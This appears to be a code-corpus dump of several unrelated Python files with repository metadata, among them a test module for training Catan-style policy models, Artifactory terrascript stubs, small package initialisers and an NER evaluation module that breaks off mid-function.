node=datasets.PSQLTextForwardConfig ) cs.store( group="runner/dataset", name="preprocessedtextbertforwardsatosapolicy", node=datasets.PreprocessedTextForwardConfig ) cs.store( group="runner/dataset", name="filetextbertforwardsatosapolicy", node=datasets.FileTextForwardConfig ) cs.store( group="runner/dataset", name="filetextberthumantradeforwardsatosapolicy", node=datasets.FileTextForwardConfig ) cls.data = torch.load(_RAW_DATASET_PATH) cls.data_text_bert = torch.load(_RAW_TEXT_BERT_DATASET_PATH) def _get_states_from_db_se_f(idx: int) -> pd.DataFrame: return cls.data[idx][0] def _get_actions_from_db_se_f(idx: int) -> pd.DataFrame: return cls.data[idx][1] def _get_length_se_f() -> int: return len(cls.data) def setup_dataset(self, hparams): dataset = make_dataset(hparams.dataset) dataset._get_states_from_db = MagicMock(side_effect=_get_states_from_db_se_f) dataset._get_actions_from_db = MagicMock(side_effect=_get_actions_from_db_se_f) dataset._get_length = MagicMock(side_effect=_get_length_se_f) return dataset, None cls.setup_dataset = setup_dataset def _get_text_states_from_db_se_f( table_id: int, start_row_id: int, end_row_id: int ) -> pd.DataFrame: df = cls.data_text_bert[table_id][0] return df[start_row_id:end_row_id] def _get_text_actions_from_db_se_f( table_id: int, start_row_id: int, end_row_id: int ) -> pd.DataFrame: df = cls.data_text_bert[table_id][1] df = df[(df['beforestate'] >= start_row_id + 1) & (df['beforestate'] < end_row_id + 1)] if len(df) < (end_row_id - start_row_id): # At the end of the trajectory, there is no action after the last state # In this special case, we add it again df = df.append(df.iloc[-1]) return df def _get_text_chats_from_db_se_f( table_id: int, start_row_id: int, end_row_id: int ) -> pd.DataFrame: df = cls.data_text_bert[table_id][2] df = df[(df['current_state'] >= start_row_id + 1) & (df['current_state'] < end_row_id + 1)] return df def _get_text_nb_steps_se_f(): return [len(cls.data_text_bert[i][0]) for i in range(len(cls.data_text_bert))] def _get_text_length_se_f() -> int: return len(cls.data_text_bert) def setup_text_dataset(self, hparams): dataset = make_dataset(hparams.dataset) dataset._get_states_from_db = MagicMock(side_effect=_get_text_states_from_db_se_f) dataset._get_actions_from_db = MagicMock(side_effect=_get_text_actions_from_db_se_f) dataset._get_chats_from_db = MagicMock(side_effect=_get_text_chats_from_db_se_f) dataset._get_trajectories_length = MagicMock(side_effect=_get_text_nb_steps_se_f) dataset._get_length = MagicMock(side_effect=_get_text_length_se_f) return dataset, None cls.setup_text_dataset = setup_text_dataset def setUp(self): self.folder = os.path.join(fixture_dir, str(int(time.time() * 100000000))) def tearDown(self): if os.path.isdir(self.folder): shutil.rmtree(self.folder) def test_training_soc_psql_seq_sas_convlstm(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=convlstm", "runner/dataset=psqlseqsatos", "runner.runner_name=SOCSupervisedSeqRunner" ] ) config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) runner.setup_dataset = self.setup_dataset trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_psql_seq_sas_conv3d(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=conv3d", "runner/dataset=psqlseqsatos", "runner.runner_name=SOCSupervisedSeqRunner" ] ) config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) runner.setup_dataset = self.setup_dataset trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_preprocessed_seq_conv3dpolicy(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=conv3dpolicy", "runner/dataset=preprocessedseqsatosapolicy", "runner.runner_name=SOCSeqPolicyRunner" ] ) config.runner.dataset.dataset_path = _DATASET_PATH config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_preprocessed_seq_convlstmpolicy(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=convlstmpolicy", "runner/dataset=preprocessedseqsatosapolicy", "runner.runner_name=SOCSeqPolicyRunner" ] ) config.runner.dataset.dataset_path = _DATASET_PATH config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_preprocessed_forward_resnet(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=resnet18", "runner/dataset=preprocessedforwardsatosa", "runner.runner_name=SOCSupervisedForwardRunner" ] ) config.runner.dataset.dataset_path = _DATASET_PATH config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_preprocessed_forward_resnetpolicy(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=resnet18policy", "runner/dataset=preprocessedforwardsatosapolicy", "runner.runner_name=SOCForwardPolicyRunner" ] ) config.runner.dataset.dataset_path = _DATASET_PATH config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_psql_forward_resnetfusionpolicy_self_attention(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=resnet18fusionpolicy", "runner/dataset=psqltextbertforwardsatosapolicy", "runner.runner_name=SOCTextForwardPolicyRunner" ] ) config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) runner.setup_dataset = self.setup_text_dataset runner.num_workers = 1 trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_psql_forward_resnetfusionpolicy_att(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=resnet18fusionpolicy", "runner/dataset=psqltextbertforwardsatosapolicy", "runner.runner_name=SOCTextForwardPolicyRunner", "runner.model.self_att_fusion=false", "runner.dataset.set_empty_text_to_zero=true", ] ) config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) runner.setup_dataset = self.setup_text_dataset runner.num_workers = 1 trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_preprocessed_forward_resnetfusionpolicy_self_attention(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=resnet18fusionpolicy", "runner/dataset=preprocessedtextbertforwardsatosapolicy", "runner.runner_name=SOCTextForwardPolicyRunner" ] ) config.runner.dataset.dataset_path = _TEXT_BERT_DATASET_PATH config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) runner.num_workers = 1 trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_psql_forward_resnetmeanconcatpolicy(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=resnet18meanconcatpolicy", "runner/dataset=psqltextbertforwardsatosapolicy", "runner.runner_name=SOCTextForwardPolicyRunner" ] ) config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) runner.setup_dataset = self.setup_text_dataset runner.num_workers = 1 trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_file_forward_resnetmeanconcatpolicy(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=resnet18meanconcatpolicy", "runner/dataset=filetextbertforwardsatosapolicy", "runner.runner_name=SOCTextForwardPolicyRunner" ] ) config.runner.dataset.dataset_path = _RAW_TEXT_BERT_DATASET_PATH config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) runner.num_workers = 1 trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_file_forward_resnetmeanffpolicy(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=resnet18meanffpolicy", "runner/dataset=filetextbertforwardsatosapolicy", "runner.runner_name=SOCTextForwardPolicyRunner" ] ) config.runner.dataset.dataset_path = _RAW_TEXT_BERT_DATASET_PATH config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) runner.num_workers = 1 trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner) def test_training_soc_file_humantrade_forward_resnetmeanffpolicy(self): with initialize(config_path=os.path.join(".", "fixtures", "conf")): config = compose( config_name="config", overrides=[ "runner/model=resnet18meanffpolicy", "runner/dataset=filetextberthumantradeforwardsatosapolicy", "runner.runner_name=SOCTextForwardPolicyRunner" ] ) config.runner.dataset.dataset_path = _RAW_TEXT_BERT_DATASET_PATH config.trainer.default_root_dir = self.folder seed_everything(config['runner']['seed']) runner = make_runner(config['runner']) runner.num_workers = 1 trainer = Trainer(**config['trainer'], deterministic=True) trainer.fit(runner)

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0.609524

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16,736

5.809552

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0.041928

0.019525

0.024458

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0.722125

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0.149123

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null

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1

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null

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5

85c47c850d97ede05f08346a4ba158dab2d66968

155

py

Python

aitu_data_extractors/routers/base.py

Toffooo/aituio

a4382f2d857cf8a5dd3b44bbc5fa93203c2eec28

[ "MIT" ]

null

aitu_data_extractors/routers/base.py

Toffooo/aituio

a4382f2d857cf8a5dd3b44bbc5fa93203c2eec28

[ "MIT" ]

null

aitu_data_extractors/routers/base.py

Toffooo/aituio

a4382f2d857cf8a5dd3b44bbc5fa93203c2eec28

[ "MIT" ]

null

from aitu_data_extractors.utils import read_json from settings import ABS_PATH LINKS = read_json(f"{ABS_PATH}/aitu_data_extractors/Resources/links.json")

31

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0.845161

25

155

4.92

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null

0

1

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1

0

5

85c5fb40a8ee980e1d09db854f36914e17733145

116

py

Python

tests/test_dummy.py

clbarras/pyannote-audio

f70ce115022b64572bb5895e21088f4ae1023737

[ "MIT" ]

1

2020-02-24T04:30:14.000Z

tests/test_dummy.py

gitkob/pyannote-audio

73c4fe7311d4a1314f18c11fea60aca6bc7e5359

[ "MIT" ]

null

tests/test_dummy.py

gitkob/pyannote-audio

73c4fe7311d4a1314f18c11fea60aca6bc7e5359

[ "MIT" ]

null

import pytest from pyannote.core import Segment def test_dummy(): assert isinstance(Segment(1., 2.), Segment)

16.571429

47

0.741379

16

116

5.3125

0.8125

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0.020408

0.155172

116

6

48

19.333333

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0

0.25

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0.25

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0

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0

0.75

0

1

0

null

0

1

0

null

0

1

0

1

0

5

a41bfd6e9601e27dd87391af7a4209c13b0ee4e9

90

py

Python

examples/grid-compute/scripts/example.py

diaperrash/cloudify-azure-plugin

dc495c294931168b012b60427e36e5a0738f2292

[ "Apache-2.0" ]

2

2018-08-16T01:50:35.000Z

2018-11-17T20:31:37.000Z

examples/grid-compute/scripts/example.py

diaperrash/cloudify-azure-plugin

dc495c294931168b012b60427e36e5a0738f2292

[ "Apache-2.0" ]

43

2017-05-18T12:31:42.000Z

2019-01-08T09:20:42.000Z

examples/grid-compute/scripts/example.py

diaperrash/cloudify-azure-plugin

dc495c294931168b012b60427e36e5a0738f2292

[ "Apache-2.0" ]

13

2015-07-09T10:49:55.000Z

2021-05-06T09:24:30.000Z

from cloudify import ctx ctx.logger.info('Hello, my instance ID is %s', ctx.instance.id)

22.5

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0

null

0

1

0

1

0

5

a42ff4c15610b76a6f401465dcfbfeb61d1211bf

127

py

Python

gltbx/glu.py

rimmartin/cctbx_project

644090f9432d9afc22cfb542fc3ab78ca8e15e5d

[ "BSD-3-Clause-LBNL" ]

null

gltbx/glu.py

rimmartin/cctbx_project

644090f9432d9afc22cfb542fc3ab78ca8e15e5d

[ "BSD-3-Clause-LBNL" ]

null

gltbx/glu.py

rimmartin/cctbx_project

644090f9432d9afc22cfb542fc3ab78ca8e15e5d

[ "BSD-3-Clause-LBNL" ]

null

from __future__ import division import boost.python ext = boost.python.import_ext("gltbx_glu_ext") from gltbx_glu_ext import *

25.4

46

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null

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0

1

0

null

0

1

0

5

f10a8bd185573250976b7d75465158a8be8ab862

192

py

Python

exercicios/lista1/exercicio27.py

lagcrs/algoritmos

5ee860c71db8ac2ef8bbe6cc87726938b1ca9c72

[ "Apache-2.0" ]

null

exercicios/lista1/exercicio27.py

lagcrs/algoritmos

5ee860c71db8ac2ef8bbe6cc87726938b1ca9c72

[ "Apache-2.0" ]

null

exercicios/lista1/exercicio27.py

lagcrs/algoritmos

5ee860c71db8ac2ef8bbe6cc87726938b1ca9c72

[ "Apache-2.0" ]

null

diagonal_maior = float(input('Diagonal maior: ')) diagonal_menor = float(input('Diagonal menor: ')) area = (diagonal_maior * diagonal_menor) / 2 print(f'Area de um losango: {area:.2f}')

32

50

0.697917

26

192

5

0.5

0.3

0.276923

0.4

0

0.012195

0.145833

192

6

51

32

0.780488

0

0.329787

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1

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false

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0.25

1

0

null

1

0

1

0

null

0

5

f1204e27c390f944e1df97a84347e2c18478915b

128

py

Python

upf_to_json/__init__.py

simonpintarelli/upf_to_json

498c0591a0383b1642f6c5321b36e688d4b971d3

[ "BSD-2-Clause" ]

2

2019-11-10T05:18:16.000Z

2020-11-27T08:16:43.000Z

upf_to_json/__init__.py

simonpintarelli/upf_to_json

498c0591a0383b1642f6c5321b36e688d4b971d3

[ "BSD-2-Clause" ]

null

upf_to_json/__init__.py

simonpintarelli/upf_to_json

498c0591a0383b1642f6c5321b36e688d4b971d3

[ "BSD-2-Clause" ]

2

2020-11-28T00:06:13.000Z

2022-01-20T19:46:34.000Z

""" UPF converter """ from __future__ import absolute_import from .upf_to_json import upf_to_json __all__ = ('upf_to_json',)

16

38

0.757813

19

128

4.315789

0.473684

0.182927

0.329268

0

0.140625

128

7

39

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0.101563

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0.102804

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0.666667

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null

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1

0

null

0

1

0

1

0

5

f12c1065c7ea77e833a4a9617d901de45af17d4b

221

py

Python

cfg/audio/__main__.py

rr-/dotfiles

4a684c43a5714a3312b42b445e5ba9ae1fab0d1a

[ "MIT" ]

16

2015-06-05T12:57:44.000Z

2021-08-05T23:49:42.000Z

cfg/audio/__main__.py

rr-/dotfiles

4a684c43a5714a3312b42b445e5ba9ae1fab0d1a

[ "MIT" ]

6

2015-11-01T18:18:26.000Z

2020-10-06T09:17:29.000Z

cfg/audio/__main__.py

rr-/dotfiles

4a684c43a5714a3312b42b445e5ba9ae1fab0d1a

[ "MIT" ]

6

2015-10-31T18:53:12.000Z

2020-11-30T18:03:06.000Z

from libdotfiles.packages import try_install from libdotfiles.util import run try_install("alsa-utils") try_install("pulseaudio") try_install("pulseaudio-bluetooth") try_install("pavucontrol") run(["pulseaudio", "-D"])

22.1

44

0.791855

28

221

6.071429

0.5

0.294118

0.235294

0

0.072398

221

9

45

24.555556

0.829268

0

0.285068

0

1

0

true

0

0.285714

0

0.285714

0

1

0

null

1

0

1

0

null

0

1

0

5

f15741d2ac34d48affedc902127162369de64ee0

1,557

py

Python

terrascript/resource/cappyzawa/artifactory.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

507

2017-07-26T02:58:38.000Z

2022-01-21T12:35:13.000Z

terrascript/resource/cappyzawa/artifactory.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

135

2017-07-20T12:01:59.000Z

2021-10-04T22:25:40.000Z

terrascript/resource/cappyzawa/artifactory.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

81

2018-02-20T17:55:28.000Z

2022-01-31T07:08:40.000Z

# terrascript/resource/cappyzawa/artifactory.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:11:58 UTC) import terrascript class artifactory_access_token(terrascript.Resource): pass class artifactory_api_key(terrascript.Resource): pass class artifactory_certificate(terrascript.Resource): pass class artifactory_group(terrascript.Resource): pass class artifactory_local_repository(terrascript.Resource): pass class artifactory_permission_target(terrascript.Resource): pass class artifactory_permission_targets(terrascript.Resource): pass class artifactory_remote_repository(terrascript.Resource): pass class artifactory_replication_config(terrascript.Resource): pass class artifactory_single_replication_config(terrascript.Resource): pass class artifactory_user(terrascript.Resource): pass class artifactory_virtual_repository(terrascript.Resource): pass class artifactory_xray_policy(terrascript.Resource): pass class artifactory_xray_watch(terrascript.Resource): pass __all__ = [ "artifactory_access_token", "artifactory_api_key", "artifactory_certificate", "artifactory_group", "artifactory_local_repository", "artifactory_permission_target", "artifactory_permission_targets", "artifactory_remote_repository", "artifactory_replication_config", "artifactory_single_replication_config", "artifactory_user", "artifactory_virtual_repository", "artifactory_xray_policy", "artifactory_xray_watch", ]

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py

Python

demoproject/demoproject/templatetags/demo_tags.py

tickettext/django-nvd3

76656b24a4d028cb4ee2231d1487b5ec70c42203

[ "MIT" ]

1

2015-11-26T17:44:47.000Z

demoproject/demoproject/templatetags/demo_tags.py

Star2Billing/django-nvd3

8184561dfc45287200692c10e7dcedc8a8cbccb1

[ "MIT" ]

null

demoproject/demoproject/templatetags/demo_tags.py

Star2Billing/django-nvd3

8184561dfc45287200692c10e7dcedc8a8cbccb1

[ "MIT" ]

null

#from django import template from django.template.defaultfilters import register @register.filter def demo(value): return 'demo-' + value

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f16f3bcc643b5dc9e0eb4cb54d22fd772e3ba3d0

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Python

tests/__init__.py

stcstores/scurri

10b5358df45a74188f8a0744842b28b6e7f6c15a

[ "MIT" ]

null

tests/__init__.py

stcstores/scurri

10b5358df45a74188f8a0744842b28b6e7f6c15a

[ "MIT" ]

13

2021-09-22T01:22:15.000Z

2022-03-21T01:31:18.000Z

tests/__init__.py

stcstores/scurri

10b5358df45a74188f8a0744842b28b6e7f6c15a

[ "MIT" ]

null

"""Tests for the scurri library."""

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f185929589762f5ef780aab877bb29f23d3b32d6

96

py

Python

venv/lib/python3.8/site-packages/requests_toolbelt/auth/_digest_auth_compat.py

GiulianaPola/select_repeats

17a0d053d4f874e42cf654dd142168c2ec8fbd11

[ "MIT" ]

2

2022-03-13T01:58:52.000Z

2022-03-31T06:07:54.000Z

venv/lib/python3.8/site-packages/requests_toolbelt/auth/_digest_auth_compat.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

19

2021-11-20T04:09:18.000Z

2022-03-23T15:05:55.000Z

venv/lib/python3.8/site-packages/requests_toolbelt/auth/_digest_auth_compat.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

null

/home/runner/.cache/pip/pool/25/aa/6e/d2ef0ac15dc815b462126cebc5547a33120d9e999b3d8784ab287fcdb3

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5

f18f24b75542d81574b224367a62288f34d26b31

164

py

Python

python_data_utils/__init__.py

surajiyer/python-data-utils

d6e9bf81204a01545a3edb165c5724eb24f37c18

[ "MIT" ]

4

2019-01-06T00:09:21.000Z

2022-01-28T06:03:13.000Z

python_data_utils/__init__.py

surajiyer/python-data-utils

d6e9bf81204a01545a3edb165c5724eb24f37c18

[ "MIT" ]

null

python_data_utils/__init__.py

surajiyer/python-data-utils

d6e9bf81204a01545a3edb165c5724eb24f37c18

[ "MIT" ]

null

# coding: utf-8 """ description: Python data utility functions and classes author: Suraj Iyer """ from .about import __version__ from . import decorators

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Python

aiohttp_aiocache/__init__.py

nobbynobbs/aiohttp-aiocache

316bb6ce0269757848de9055a53c35cda0da71c4

[ "MIT" ]

2

2020-10-16T04:05:44.000Z

2021-02-19T18:59:56.000Z

aiohttp_aiocache/__init__.py

nobbynobbs/aiohttp-aiocache

316bb6ce0269757848de9055a53c35cda0da71c4

[ "MIT" ]

null

aiohttp_aiocache/__init__.py

nobbynobbs/aiohttp-aiocache

316bb6ce0269757848de9055a53c35cda0da71c4

[ "MIT" ]

null

from ._api import cached, register_cache __all__ = ["cached", "register_cache"]

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py

Python

interpret_eval/tasks/src/errorAnalysis.py

Tahmid04/ExplainaBoard

640052f84c0cb61c12e0952fb3c435b3f926f6ab

[ "MIT" ]

null

interpret_eval/tasks/src/errorAnalysis.py

Tahmid04/ExplainaBoard

640052f84c0cb61c12e0952fb3c435b3f926f6ab

[ "MIT" ]

null

interpret_eval/tasks/src/errorAnalysis.py

Tahmid04/ExplainaBoard

640052f84c0cb61c12e0952fb3c435b3f926f6ab

[ "MIT" ]

null

import numpy as np import pickle import codecs import os from collections import Counter import re import math import scipy.stats as statss import json import random import numpy import codecs from seqeval.metrics import precision_score, recall_score, f1_score #from sklearn.metrics import f1_score from nltk.tokenize import TweetTokenizer from collections import OrderedDict from random import choices import scipy.stats import csv def get_chunks(seq): """ tags:dic{'per':1,....} Args: seq: [4, 4, 0, 0, ...] sequence of labels tags: dict["O"] = 4 Returns: list of (chunk_type, chunk_start, chunk_end) Example: seq = [4, 5, 0, 3] tags = {"B-PER": 4, "I-PER": 5, "B-LOC": 3} result = [("PER", 0, 2), ("LOC", 3, 4)] """ default = 'O' # idx_to_tag = {idx: tag for tag, idx in tags.items()} chunks = [] chunk_type, chunk_start = None, None for i, tok in enumerate(seq): #End of a chunk 1 if tok == default and chunk_type is not None: # Add a chunk. chunk = (chunk_type, chunk_start, i) chunks.append(chunk) chunk_type, chunk_start = None, None # End of a chunk + start of a chunk! elif tok != default: tok_chunk_class, tok_chunk_type = get_chunk_type(tok) if chunk_type is None: chunk_type, chunk_start = tok_chunk_type, i elif tok_chunk_type != chunk_type or tok_chunk_class == "B": chunk = (chunk_type, chunk_start, i) chunks.append(chunk) chunk_type, chunk_start = tok_chunk_type, i else: pass # end condition if chunk_type is not None: chunk = (chunk_type, chunk_start, len(seq)) chunks.append(chunk) return chunks def get_chunk_type(tok): """ Args: tok: id of token, ex 4 idx_to_tag: dictionary {4: "B-PER", ...} Returns: tuple: "B", "PER" """ # tag_name = idx_to_tag[tok] tag_class = tok.split('-')[0] tag_type = tok.split('-')[-1] return tag_class, tag_type # def run_evaluate(self, sess, test, tags): def evaluate(words,labels_pred, labels): """ labels_pred, labels, words: are sent-level list eg: words --> [[i love shanghai],[i love u],[i do not know]] words,pred, right: is a sequence, is label index or word index. Evaluates performance on test set """ # true_tags = ['PER', 'LOC', 'ORG', 'PERSON', 'person', 'loc', 'company'] accs = [] correct_preds, total_correct, total_preds = 0., 0., 0. for lab, lab_pred, word_sent in zip(labels, labels_pred, words): accs += [a == b for (a, b) in zip(lab, lab_pred)] lab_chunks = set(get_chunks(lab)) lab_pred_chunks = set(get_chunks(lab_pred)) correct_preds += len(lab_chunks & lab_pred_chunks) total_preds += len(lab_pred_chunks) total_correct += len(lab_chunks) p = correct_preds / total_preds if correct_preds > 0 else 0 r = correct_preds / total_correct if correct_preds > 0 else 0 f1 = 2 * p * r / (p + r) if correct_preds > 0 else 0 acc = np.mean(accs) return acc, f1, p, r def evaluate_each_class(words,labels_pred, labels,class_type): # class_type:PER or LOC or ORG index = 0 accs = [] correct_preds, total_correct, total_preds = 0., 0., 0. correct_preds_cla_type, total_preds_cla_type, total_correct_cla_type = 0., 0., 0. for lab, lab_pred, word_sent in zip(labels, labels_pred, words): lab_pre_class_type = [] lab_class_type = [] # accs += [a==b for (a, b) in zip(lab, lab_pred)] lab_chunks = get_chunks(lab) lab_pred_chunks = get_chunks(lab_pred) for i in range(len(lab_pred_chunks)): if lab_pred_chunks[i][0] == class_type: lab_pre_class_type.append(lab_pred_chunks[i]) lab_pre_class_type_c = set(lab_pre_class_type) for i in range(len(lab_chunks)): if lab_chunks[i][0] == class_type: lab_class_type.append(lab_chunks[i]) lab_class_type_c = set(lab_class_type) lab_chunksss = set(lab_chunks) correct_preds_cla_type += len(lab_pre_class_type_c & lab_chunksss) total_preds_cla_type += len(lab_pre_class_type_c) total_correct_cla_type += len(lab_class_type_c) p = correct_preds_cla_type / total_preds_cla_type if correct_preds_cla_type > 0 else 0 r = correct_preds_cla_type / total_correct_cla_type if correct_preds_cla_type > 0 else 0 f1 = 2 * p * r / (p + r) if correct_preds_cla_type > 0 else 0 # acc = np.mean(accs) return f1, p, r def evaluate_chunk_level(pred_chunks,true_chunks): # print(len(pred_chunks), len(true_chunks)) # if len(pred_chunks) != len(true_chunks): # print("Error!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!: len(pred_chunks) != len(true_chunks)") # exit() correct_preds, total_correct, total_preds = 0., 0., 0. correct_preds = len(set(true_chunks) & set(pred_chunks)) total_preds = len(pred_chunks) total_correct = len(true_chunks) # print("****** debug *************") # print("correct_preds:\t", correct_preds) # print("total_preds:\t", total_preds) # print("total_correct:\t", total_correct) p = correct_preds / total_preds if correct_preds > 0 else 0 r = correct_preds / total_correct if correct_preds > 0 else 0 f1 = 2 * p * r / (p + r) if correct_preds > 0 else 0 # acc = np.mean(accs) return f1, p, r def evaluate_each_class_listone(words,labels_pred, labels,class_type): ''' words,labels_pred, labels is list eg: labels = [b-per, i-per,b-org,o,o,o, ...] :return: ''' correct_preds, total_correct, total_preds = 0., 0., 0. correct_preds_cla_type, total_preds_cla_type, total_correct_cla_type = 0., 0., 0. lab_pre_class_type =[] lab_class_type =[] true_chunks = get_chunks(labels) pred_chunks = get_chunks(labels_pred) for i in range(len(pred_chunks)): if pred_chunks[i][0] == class_type: lab_pre_class_type.append(pred_chunks[i]) lab_pre_class_type_c = set(lab_pre_class_type) for i in range(len(true_chunks)): if true_chunks[i][0] == class_type: lab_class_type.append(true_chunks[i]) lab_class_type_c = set(lab_class_type) lab_chunksss = set(true_chunks) correct_preds_cla_type += len(lab_pre_class_type_c & lab_chunksss) total_preds_cla_type += len(lab_pre_class_type_c) total_correct_cla_type += len(lab_class_type_c) p = correct_preds_cla_type / total_preds_cla_type if correct_preds_cla_type > 0 else 0 r = correct_preds_cla_type / total_correct_cla_type if correct_preds_cla_type > 0 else 0 f1 = 2 * p * r / (p + r) if correct_preds_cla_type > 0 else 0 # acc = np.mean(accs) return f1, p, r,len(lab_class_type) # if __name__ == '__main__': # max_sent = 10 # tags = {'0': 0, # 'B-PER': 1, 'I-PER': 2, # 'B-LOC': 3, 'I-LOC': 4, # 'B-ORG': 5, 'I-ORG': 6, # 'B-OTHER': 7, 'I-OTHER': 8, # 'O': 9} # labels_pred = [ # [9, 9, 9, 1, 3, 1, 2, 2, 0, 0], # [9, 9, 9, 1, 3, 1, 2, 0, 0, 0] # ] # labels = [ # [9, 9, 9, 9, 3, 1, 2, 2, 0, 0], # [9, 9, 9, 9, 3, 1, 2, 2, 0, 0] # ] # words = [ # [0, 0, 0, 0, 0, 3, 6, 8, 5, 7], # [0, 0, 0, 4, 5, 6, 7, 9, 1, 7] # ] # id_to_vocb = {0: 'a', 1: 'b', 2: 'c', 3: 'd', 4: 'e', 5: 'f', 6: 'g', 7: 'h', 8: 'i', 9: 'j'} # class_type = 'PER' # acc, f1, p, r = evaluate(labels_pred, labels, words, tags, max_sent, id_to_vocb) # print acc, f1, p, r # f1, p, r = evaluate_each_class(labels_pred, labels, words, tags, max_sent, id_to_vocb, class_type) # print f1, p, r def format4json(sent): sent = sent.replace(":"," ").replace("\"","").replace("\'","").replace("/","").replace("\\","").replace("{","").replace("}","") sent = sent.replace("\"","") return sent def cap_feature(s): """ Capitalization feature: 0 = low caps 1 = all caps 2 = first letter caps 3 = one capital (not first letter) """ if s.lower() == s: return "low_caps" elif s.upper() == s: return "full_caps" elif s[0].upper() == s[0]: return "first_caps" else: return "not_first_caps" def dict_char2word(sentence): ind_w = 0 dict_c2w = {} for ind, c in enumerate(sentence): dict_c2w[ind] = ind_w if c ==" ": ind_w += 1 return dict_c2w def get_sample_rate(n_data): res = 0.8 if n_data > 300000: res = 0.1 elif n_data > 100000 and n_data < 300000: res = 0.2 return res def mean_confidence_interval(data, confidence=0.95): a = 1.0 * np.array(data) n = len(a) m, se = np.mean(a), scipy.stats.sem(a) h = se * scipy.stats.t.ppf((1 + confidence) / 2., n-1) return m-h, m+h def compute_confidence_interval_acc(true_label_list, pred_label_list, n_times=1000): n_data = len(true_label_list) sample_rate = get_sample_rate(n_data) n_sampling = int(n_data * sample_rate) if n_sampling == 0: n_sampling = 1 print("n_data:\t", n_data) print("sample_rate:\t", sample_rate) print("n_sampling:\t", n_sampling) performance_list = [] confidence_low, confidence_up = 0,0 for i in range(n_times): sample_index_list = choices(range(n_data), k=n_sampling) performance = accuracy(list(np.array(true_label_list)[sample_index_list]), list(np.array(pred_label_list)[sample_index_list])) performance_list.append(performance) if n_times != 1000: confidence_low, confidence_up = mean_confidence_interval(performance_list) else: performance_list.sort() confidence_low = performance_list[24] confidence_up = performance_list[974] print("\n") print("confidence_low:\t", confidence_low) print("confidence_up:\t", confidence_up) return confidence_low, confidence_up # 1000 def compute_confidence_interval_f1(spans_true, spans_pred, dict_span2sid, dict_span2sid_pred, n_times=1000): n_data = len(dict_span2sid) sample_rate = get_sample_rate(n_data) n_sampling = int(n_data * sample_rate) print("sample_rate:\t", sample_rate) print("n_sampling:\t", n_sampling) dict_sid2span_salient = {} for span in spans_true: #print(span) if len(span.split("_"))!=3: break sid = dict_span2sid[span] if sid in dict_sid2span_salient.keys(): dict_sid2span_salient[sid].append(span) else: dict_sid2span_salient[sid] = [span] dict_sid2span_salient_pred = {} for span in spans_pred: sid = dict_span2sid_pred[span] if sid in dict_sid2span_salient_pred.keys(): dict_sid2span_salient_pred[sid].append(span) else: dict_sid2span_salient_pred[sid] = [span] performance_list = [] confidence_low, confidence_up = 0,0 for i in range(n_times): sample_index_list = choices(range(n_data), k=n_sampling) true_label_bootstrap_list = [] pred_label_bootstrap_list = [] for ind, sid in 